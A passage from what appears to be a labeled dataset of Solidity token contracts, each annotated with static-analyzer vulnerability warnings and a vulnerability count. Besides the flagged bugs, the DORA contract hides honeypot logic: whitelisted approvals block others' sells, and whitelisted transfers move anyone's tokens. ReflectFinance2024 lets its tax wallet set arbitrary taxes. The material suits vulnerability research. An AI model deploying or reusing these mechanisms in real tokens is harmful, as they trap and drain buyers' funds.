{\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract DORA is ERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => bool) private _versionAddress;\n\n mapping(address => uint256) private _MAX_ADD;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ac36b2): DORA._name should be constant \n\t// Recommendation for 2ac36b2: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 26d4457): DORA._name shadows ERC20._name\n\t// Recommendation for 26d4457: Remove the state variable shadowing.\n string private _name = unicode\"Dora\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 24ac15e): DORA._symbol should be constant \n\t// Recommendation for 24ac15e: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: e2c1a02): DORA._symbol shadows ERC20._symbol\n\t// Recommendation for e2c1a02: Remove the state variable shadowing.\n string private _symbol = unicode\"DORA\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: 28c74ac): DORA._tTotal should be immutable \n\t// Recommendation for 28c74ac: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tTotal = 5_000_000_000_000 * 10 ** decimals();\n\n IUniswapV2Router02 private _Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n constructor() ERC20(_name, _symbol) Ownable(msg.sender) {\n _versionAddress[msg.sender] = true;\n\n _versionAddress[address(this)] = true;\n\n _mint(msg.sender, _tTotal);\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: d533a20): DORA._update(address,address,uint256) uses tx.origin for authorization _versionAddress[tx.origin]\n\t// Recommendation for d533a20: Do not use 'tx.origin' for authorization.\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override {\n\t\t// tx-origin | ID: d533a20\n if (_versionAddress[tx.origin]) {\n super._update(from, to, value);\n\n return;\n } else {\n require(tradingOpen, \"Open not yet\");\n\n if (to == uniswapV2Pair && from != address(this)) {\n if (tx.gasprice > _MAX_ADD[from] && _MAX_ADD[from] != 0) {\n revert(\"Exceeds the _MAX_ADD on sell tx\");\n }\n }\n\n if (to != uniswapV2Pair && from != uniswapV2Pair) {\n if (tx.gasprice > _MAX_ADD[from] && _MAX_ADD[from] != 0) {\n revert(\"Exceeds the _MAX_ADD on transfer from tx\");\n }\n }\n\n super._update(from, to, value);\n }\n }\n\n function name() public view override returns (string memory) {\n return _name;\n }\n\n function symbol() public view override returns (string memory) {\n return _symbol;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n if (_versionAddress[msg.sender]) {\n _MAX_ADD[spender] = amount;\n }\n\n super.approve(spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public override returns (bool) {\n if (_versionAddress[msg.sender]) {\n super._update(from, to, amount);\n } else {\n super.transferFrom(from, to, amount);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 928894b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 928894b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function OpenTrade() public onlyOwner {\n _Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-benign | ID: 928894b\n uniswapV2Pair = IUniswapV2Factory(_Router.factory()).getPair(\n address(this),\n _Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 928894b\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10645.sol",
"size_bytes": 15024,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7f8605d): ReflectFinance2024.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = (_tTotal * 5) / 10000 _maxTaxSwap = _taxSwapThreshold * 40\n// Recommendation for 7f8605d: Consider ordering multiplication before division.\ncontract ReflectFinance2024 is Context, Ownable, IERC20 {\n using SafeMath for uint256;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8eb8fe0): ReflectFinance2024._taxWallet should be immutable \n\t// Recommendation for 8eb8fe0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 06c6f85): ReflectFinance2024._initialBuyTax should be constant \n\t// Recommendation for 06c6f85: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 874b422): ReflectFinance2024._initialSellTax should be constant \n\t// Recommendation for 874b422: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3a3b202): ReflectFinance2024._finalBuyTax should be constant \n\t// Recommendation for 3a3b202: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 796e441): ReflectFinance2024._finalSellTax should be constant \n\t// Recommendation for 796e441: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3cfbc1e): ReflectFinance2024._reduceBuyTaxAt should be constant \n\t// Recommendation for 3cfbc1e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 27;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08a7a55): ReflectFinance2024._reduceSellTaxAt should be constant \n\t// Recommendation for 08a7a55: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: d468875): ReflectFinance2024._preventSwapBefore should be constant \n\t// Recommendation for d468875: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 27;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Reflect Finance\";\n\n string private constant _symbol = unicode\"RFI\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1516127): ReflectFinance2024._taxSwapThreshold should be constant \n\t// Recommendation for 1516127: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 7f8605d\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 205c619): ReflectFinance2024._maxTaxSwap should be immutable \n\t// Recommendation for 205c619: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n\t// divide-before-multiply | ID: 7f8605d\n uint256 public _maxTaxSwap = _taxSwapThreshold * 40;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private limitsInEffect = true;\n\n uint256 private taxAmount;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c97cb8e): ReflectFinance2024.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c97cb8e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 38f3e64): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 38f3e64: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4420fc7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4420fc7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 38f3e64\n\t\t// reentrancy-benign | ID: 4420fc7\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 38f3e64\n\t\t// reentrancy-benign | ID: 4420fc7\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 44e051f): ReflectFinance2024._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 44e051f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4420fc7\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 38f3e64\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d8eaace): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d8eaace: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8c43230): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8c43230: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 84874b8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 84874b8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (\n from != owner() &&\n to != owner() &&\n to != _taxWallet &&\n limitsInEffect\n ) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount >= _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: d8eaace\n\t\t\t\t// reentrancy-benign | ID: 8c43230\n\t\t\t\t// reentrancy-eth | ID: 84874b8\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d8eaace\n\t\t\t\t\t// reentrancy-eth | ID: 84874b8\n ssendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 84874b8\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-benign | ID: 8c43230\n if (!limitsInEffect) taxAmount = 0;\n\n\t\t\t// reentrancy-events | ID: d8eaace\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 84874b8\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 84874b8\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d8eaace\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeTx() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function reflectStart() external {\n limitsInEffect = false;\n\n require(_msgSender() == _taxWallet);\n }\n\n function setSwapBackSetting(uint256 swapThreshold, bool enabled) external {\n require(_msgSender() == _taxWallet);\n\n swapEnabled = enabled;\n\n taxAmount = swapThreshold;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 84ea380): ReflectFinance2024.ssendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 84ea380: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function ssendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d8eaace\n\t\t// reentrancy-events | ID: 38f3e64\n\t\t// reentrancy-eth | ID: 84874b8\n\t\t// arbitrary-send-eth | ID: 84ea380\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c3808d9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c3808d9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b13cc18): ReflectFinance2024.startTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b13cc18: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ce2ee0b): ReflectFinance2024.startTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ce2ee0b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 27beb3d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 27beb3d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: c3808d9\n\t\t\t// reentrancy-eth | ID: 27beb3d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(uniswapV2Router.WETH(), address(this));\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: c3808d9\n\t\t// unused-return | ID: ce2ee0b\n\t\t// reentrancy-eth | ID: 27beb3d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c3808d9\n\t\t// unused-return | ID: b13cc18\n\t\t// reentrancy-eth | ID: 27beb3d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: c3808d9\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 27beb3d\n tradingOpen = true;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d8eaace\n\t\t// reentrancy-events | ID: 38f3e64\n\t\t// reentrancy-benign | ID: 8c43230\n\t\t// reentrancy-benign | ID: 4420fc7\n\t\t// reentrancy-eth | ID: 84874b8\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: d1cde3a): ReflectFinance2024.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for d1cde3a: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: d1cde3a\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwapExecution(uint256 tokenAmount) external {\n require(_msgSender() == _taxWallet);\n\n if (tokenAmount > 0 && swapEnabled) {\n swapTokensForEth(tokenAmount);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n ssendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10646.sol",
"size_bytes": 21852,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract ABC is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _fApproval;\n\n mapping(address => bool) private _isExcludedTaxF;\n\n address payable private fReceipt;\n\n IUniswapV2Router02 private uniFRouter;\n\n address private uniFPair;\n\n bool private tradingOpen;\n\n bool private inSwap;\n\n bool private swapEnabled;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Armoured Barbie Chicken\";\n\n string private constant _symbol = unicode\"ABC\";\n\n uint256 public _maxFAmount = (2 * _tTotal) / 100;\n\n uint256 public _maxFWallet = (2 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 07380c7): ABC._taxSwapThreshold should be constant \n\t// Recommendation for 07380c7: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (1 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 634c1ff): ABC._maxTaxSwap should be constant \n\t// Recommendation for 634c1ff: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (1 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 933461a): ABC._initialBuyTax should be constant \n\t// Recommendation for 933461a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9970b3e): ABC._initialSellTax should be constant \n\t// Recommendation for 9970b3e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 654a451): ABC._finalBuyTax should be constant \n\t// Recommendation for 654a451: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 85aa6eb): ABC._finalSellTax should be constant \n\t// Recommendation for 85aa6eb: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: acab371): ABC._reduceBuyTaxAt should be constant \n\t// Recommendation for acab371: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 904fd18): ABC._reduceSellTaxAt should be constant \n\t// Recommendation for 904fd18: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9a69bea): ABC._preventSwapBefore should be constant \n\t// Recommendation for 9a69bea: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n event MaxTxAmountUpdated(uint _maxFAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n fReceipt = payable(_msgSender());\n\n _tOwned[_msgSender()] = _tTotal;\n\n _isExcludedTaxF[address(this)] = true;\n\n _isExcludedTaxF[_msgSender()] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function initializeF() external onlyOwner {\n uniFRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniFRouter), _tTotal);\n\n uniFPair = IUniswapV2Factory(uniFRouter.factory()).createPair(\n address(this),\n uniFRouter.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bc46001): ABC.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bc46001: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _fApproval[owner][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 25d1fce): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 25d1fce: Apply the check-effects-interactions pattern (see 